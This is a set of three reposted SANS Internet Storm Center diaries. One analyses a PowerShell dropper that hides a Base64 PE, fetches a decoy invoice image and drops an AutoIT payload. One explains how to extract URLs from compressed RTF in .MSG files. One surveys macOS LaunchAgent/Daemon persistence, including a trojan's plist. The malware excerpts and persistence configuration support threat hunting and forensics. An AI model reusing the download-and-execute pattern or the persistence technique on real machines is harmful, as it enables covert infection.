This post was originally published on this site

I found another interesting piece of malicious Powershell while hunting. The file size is 1.3MB and most of the file is a PE file Base64 encoded. You can immediately detect it by checking the first characters of the string:

$peString = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAA...'

“TVqQAA” indicates a PE file! Often, people think that Powershell must be heavily obfuscated to bypass antivirus engines. This is not always the case! The SHA256 hash is 53e954a7d36706d1f4951ca04b151055ded332e681a672e13e6cab634d74783d and the current VT score is only 3/56[1].

A first interesting feature is the Powershell detection to make the script run on multiple versions of Windows:

$osCheckMajor = [System.Environment]::OSVersion.Version | Select -Expand Major;$osCheckMinor = [System.Environment]::OSVersion.Version | Select -Expand Minor;
$osVersion = "$osCheckMajor" + '.' + "$osCheckMinor";
$poshVersion = $PSVersionTable.PSVersion.Major;

But, what’s also interesting is the use of a decoy picture. The script downloads a fake invoice from an Amazon S3 bucket:

It displays it using the Start-Process cmdlet:

$decoyName = "$randomStr" + '.jpg';
$decoyURL = 'hxxp://s3.us-east-2.amazonaws[.]com/qeeqq/guru.jpg';
$decoyPath = "$env:APPDATA" + '' + "$decoyName";
$webClient = New-Object System.Net.WebClient;
$webDownload = $webClient.DownloadFile($decoyURL, $decoyPath);
Start-Process $decoyPath;

What is interesting here, if you specify a non-executable file, Start-Process starts the program that is associated with the file, similar to the Invoke-Item cmdlet. So, the victim will see the picture using his/her preferred viewer! In the background, the executable is decoded and executed (SHA256:0e4c61741e81b3fa08df0622419fee5d350a67687fac76249b57eed89e129707 – VT score: 0). It drops a standard AutoIT3.exe file on disk into %APPDATA% and the corresponding script (SHA256:d5a8cdc7ae6a49233ee021a39f12ef61c630202f68edc3a7d64fd1b616704d8d – VT score: 0). The AutoIT script is obfuscated but not protected:

$ head -20 d5a8cdc7ae6a49233ee021a39f12ef61c630202f68edc3a7d64fd1b616704d8d.bad
#NoTrayIcon
Global Const $4063A0C69862A72A9 = 0x1
Global Const $53675A741B726EAC88522D14B9F334E1 = 24
Global Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000
Global Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004
Global Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002
Global Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001
Global Const $B939F5E560A162C57C19FFD63367B64E = 1
Global Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001
Global Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002
Global Const $AC23469B485C91685E66323634795BB3 = 0x00008003
Global Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004
Global Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603
Global Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e
Global Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f
Global Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610
Global Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601
Global Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602
Global Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801
Global Const $1295974546E6E9CA72B1205FD83C6F10 = 0

The initial PE file drops also a bunch of files:

Those files contain configuration data used by the AutoIT script. Example, the file ‘qut.docx’ contains obfuscated data:

$ head -20 qut.docx.bad
iZ5GeS7u6g62Hex92a7PUW44v3
lHy12Fo16eFem13k015VrSDJ65pa6cg416jGU2I06l9s
[Setting]
985P20
h46bQ48V3pDwlL37o9LL23c00j5e6T4Z592107YV8nL75
K3973xib52001GRn010J1j5i95
BDD0302a82XA2486P6x3N
HDX_Keys=433643363536343446464534374330344533414641454339363134443445433237354544314642383532364332463738
d93ek330eLihYI4s16gNW6bHL
9L017Z3795kB5vwg42XPik99D3h4It54862H16Pnt3uR4vrgxO7226HboT443S4321y29bHHM6wY9C178
0968s7P45e4V26E5npKuy7O32Tsi1XK681k0189u46K1Bk6im08k08F6hm7rS2q4aDiIP5cy284
GN22P2a20x0V11Q5
Keys=trx
dE5481u423Zv59D02ZM1z3f3r43cT371Ku1
1Nf0O3178c52668b
Dir=33623513
97JcnL
xs6vh880PP5875PC7IU3V1xSsEGkS992l9j2w8Ad4a79434pD9Rj6350ln
xH3x33W33h0255OD6C2UH2DN9JE7Q3v1Z9n03v38rnZ4s4GMps2VG646k-6LQh614D7m713LdoL3xa800561n7bkC5r74B2509cj1Y6656i5

In the AutoIT script, we can find:

$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & "qut.docx"
$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "Dir", '')
$9355FBBA246C8217C04EE3075C218909 = @TempDir & "" & $989BD8DF7434150DDDCC4E3AF84571E3
Func _S0x325952AE1C47E8F062A74927A1DBE55B()
    $39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "msg", '')
    If $39EE801D7E22D21808919DD1A991F950 <> '' Then
        _S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()
    EndIf
    $4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "_S0x20057179D673181B71D4593BFB2A0450", '')
    If $4FE9C92D9445918D1759387A12138EA3 <> '' Then
        _S0x20057179D673181B71D4593BFB2A0450()
    EndIf

The AutoIT script tries to contact xzit007[.]ddns[.]net (a DNS sinkhole is already in place) but I found 32 entries in passive DNS.

I’m still busy to analyze the script but does it ring a bell to you? Please share if you recognize this behaviour!

[1] https://www.virustotal.com/#/file/53e954a7d36706d1f4951ca04b151055ded332e681a672e13e6cab634d74783d/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Reader Salil asked for help with the analysis of a .MSG file. We talked about the analysis of .MSG files before, and Salil was able to use my oledump.py tool to look into the .msg file, but still had a problem finding URLs he knew were inside the email.

I took a look, and found the URLs inside compressed RTF.

Running oledump.py with the MSG plugin plugin_msg.py and grepping for string body allows me to find streams that (might) contain the message body:

As Salil noted, stream 66 contains the message body, but without URLs:

Grepping with a bit more context reveals stream 67, also noticed by Salil:

Notice the string LZFu at position 0x08 inside the stream: this indicates that this stream contains compressed RTF.

This stream can be decompressed with my new tool decompress_rtf.py, by dumping it and piping it into decompress_rtf.py:

Piping this decompressed RTF file into rtfdump.py confirms that it is indeed a valid RTF document:

One way to extract the URLs, is too pipe the RTF document into my tool re-search.py with the URL regex:

To quickly check if a .MSG file contains compressed RTF, one can use an ad-hoc YARA rule to search for string LZFu:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

First and foremost, let me start with a disclaimer. As probably most of you may have noticed the similarity, the title of this post, which I hope to be the first of a series, is inspired by the great and amazing work from Adam (@Hexacorn) [1] “Beyond good ol’ Run Key” (which, as of today, reached episode 93!!!), where he writes about all Windows persistence mechanisms he comes across/discovers in his research, which are, as the title suggest, much more than just the Run registry key we all love. In the rare case you have not read it yet, you should asap. Really.

Having said that, my motivation behind this is the intention to focus more on macOS analysis/research and macOS internals [2][3] (J. Levin’s book is The bible, if you have to pick one place where to start from on anything macOS related, there you go), and also because I’m a documentation maniac, I like to write things down, ideally in one location, to easily retrieve them when needed. This is a way to document and share my findings about macOS persistence mechanisms. And I could not but start with the most common mechanisms (hence part 0): LaunchAgents and LaunchDaemons.

In the macOS boot/startup process, immediately after the kernel initialization phase there is launchd. Launchd is “The process”. It is started directly by the kernel and is the first process “appearing” in user mode. It is responsible, among other things, for initializing and scheduling all system services and processes, and so for launching Agents and Daemons.

Both Agents and Daemons are described in their respective property list (.plist) files, containing the instructions of how and when they have to be launched. Daemons are system services, and are started in the boot process before any user logs in. Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. Daemons plist files are located at the following paths [4]:

• /System/Library/LaunchDaemons/
  This is the location for Apple specific Daemon. This is a restricted location and is mounted as read-only.
• /Library/LaunchDaemons/
  This for all third-party daemons, therefore not restricted as the previous one (but requires root permission).

Agents, instead, are user’s services/processes and are started only after user logs in. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files located at the following paths [4]:

• /System/Library/LaunchAgents/
  As for the Daemons, this location is for Apple specific Agents and its access is restricted.
• /Library/LaunchAgents/
  Again, as for Daemons, this folder is for third party Agents.
• ~/Library/LaunchAgents/
  This folder contains the user installed Agents and are loaded by the user level launchd process. Because those are executed as soon as that specific user logs in and do not require administrator privileges, you can easily imagine why this is the (most) favourite malware persistence location.

Agents and Daemons plist files are just like any other property list file in the Apple universe, therefore you can easily review them with plutil -u from command line or use Xcode if you prefer GUI based. The following are some of the keywords of interest you may want to look for when analyzing a suspicious one.

Label: This key is required as it identifies the agent/daemon and has to be unique for the launchd instance (i.e. two agents or two daemons cannot have the same label, but an agent and a daemon can, since daemons are loaded by the root launchd whereas agents are loaded by a user launchd). This is typically the file name.
<dict>
<key>Label</key>
<string>com.apple.launchport.plist</string>
…
Program: This key defines actually what has to be run, the path to the specific binary/script.
ProgramArguments: This is also quite self explicative, and is defined as an array of arguments to be passed to the “Program” when launched
…
<key>Program</key>
<string>/path/to/my/script</string>
<key>ProgramArguments</key>
<array>
<string>/path/to/my/script</string>
<string>–config</string>
<string>~/.tmp/myconfig_file.json</string>
</array>
…
As you may have noticed, the name of the first argument is again the program itself. This is important to keep in mind as the first item will not be the first argument, much like argv[0]. If both keys are used, the value of Program is the executable to be launched and the first string in ProgramArguments will be ignored by launchd.

Additional Keys of interest, which will define when the agent/daemon is to be run, are:
RunAtLoad: This key specifies that it has to be run right after it has been loaded, i.e. at boot time for daemons, and after user logs in for agents.
WatchPaths: launchd will start the program if the provided path is modified. If path points to a folder, modifying the folder or any of its content will trigger, as well as any modification to a file if path points to a specific one.
StartOnMount: The program is started whenever a file system is successfully mounted, i.e. a CD/DVD, USB drive, SD Card, etc. (haven’t checked with network drive to be honest, but I expect so).
Start[Calendar]Interval: StartInterval will tell launchd to start your program every n seconds, while StartCalendarInterval will tell to schedule the execution every day at a specific hour for example. This is pretty much like the cronjob in classic *NIX systems. The following example will tell launchd to run the program every monday morning at 7am:
<key>StartCalendarInterval</key>
<dict>
<key>Weekday</key>
<integer>1</integer>
<key>Hour</key>
<integer>7</integer>
<key>Minute</key>
<integer>0</integer>
</dict>

KeepAlive: this is an important “control” key, which tells launchd to keep the job alive under certain specific conditions, specified by several sub-keys. If no subkey is provided, the message is basically “always”, so launchd will bring the job back running in any case if it would crash (or be terminated). Some of the interesting sub-keys are:

• NetworkState: if set to True, it will run the program as soon as a network connection becomes available.
• SuccessfulExit: This key will take into account the exit code of the program in case of termination. If set to True, the program will be restarted until it fails. If set to False, it will restart the program every time it will terminate in a non “successful” way, i.e. exit code different from zero.
• Crashed: If set to True, the program will be restarted after it crashed. If set to false, it will restart the program unless it has crashed.

Disabled/Enabled: Last but not least, you can still have a plist file in the Agents/Daemons folder, but that may not be executed. The meaning of these two keys is quite self explanatory.

If you are interested to know more about all possible keys available for launchd related plist files, “Launchd Info” website is quite a great resource for this [5]. As simple and basic as it can be, specifically setting a LaunchAgents, this mechanism is quite popular also among those malware that are used by allegedly sophisticated attackers. Some recent and interesting examples are Komplex Trojan, allegedly attributed to Sofacy [6]. It sets its persistency as the following LaunchAgents, $HOME/Library/LaunchAgents/com.apple.updates.plist, running as soon as the user logged in, no matter what, as specified in the following configuration:

<dict>

<key>Label</key>
<string>com.apple.updates</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/.local/kextd</string>
</array>
<key>KeepAlive</key>
<false>
<key>RunAtLoad</key>
<true>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>StandardOutPath</key>
<string>/dev/null</string>

</dict>

Other known example where LaunchAgents have been used as persistence are Careto [7] (~/Library/LaunchAgents/com.apple.launchport.plist) and the infamous RCS suite implant from HackingTeam [8] (~/Library/LaunchAgents/com.apple.FinderExtAvt.plist).

I plan to add all my findings from this journey into macOS persistency as well into the mac4n6 artifacts collection I maintain [4]. Please let me know if you have encountered any particular use of LaunchAgents/Daemons in your analysis, and of course if you see any incorection on this post :).

Finally, if you are interested in macOS security/forensics/research, I’m leaving you with a list of people (and their blogs/books) in the reference section (I love references, hope you don’t mind) that are my main source of information when it come to macOS, you may want to check them out and follow those people [2][3][9][10][11][12].

Happy Hunting,
Pasquale

 

References:
[1] – Adam (@Hexacorn), “Beyond good ol’ Run Key”, http://www.hexacorn.com/blog/2017/01/28/beyond-good-ol-run-key-all-parts/
[2] – Jonathan Levin (@Technologeeks), “*OS Internals”, http://newosxbook.com/index.php 
[3] – Jonathan Levin (@Technologeeks), “Mac OS X and iOS Internals – To the Apple’s Core”, http://newosxbook.com/MOXiI.pdf
[4] – Pasquale Stirparo (@pstirparo), “mac4n6 Artifacts Project”, https://github.com/pstirparo/mac4n6
[5] – “Launchd Info”, http://www.launchd.info/
[6] – Unit42, “Sofacy’s ‘Komplex’ OS X Trojan”, https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
[7] – Kaspersky, “Unveiling Careto – The Masked APT”, https://www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf
[8] – Partick Warlde (@patrickwardle), “HackingTeam Reborn; A Brief Analysis of an RCS Implant Installer”, https://objective-see.com/blog/blog_0x0D.html
[9] – Patrick Warlde (@patrickwardle), “Objective See”, https://objective-see.com 
[10] – Sarah Edwards (@iamevltwin), “Mac4n6 Blog”, https://www.mac4n6.com/
[11] – Pedro Vilaça (@osxreverser), “Reverse Engineering Mac OS X”, http://reverse.put.as/
[12] – MITRE ATT&CK (@MITREattack), “MacOS Techniques”, https://attack.mitre.org/wiki/MacOS_Techniques

—-

Pasquale Stirparo, Ph.D.
@pstirparo

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.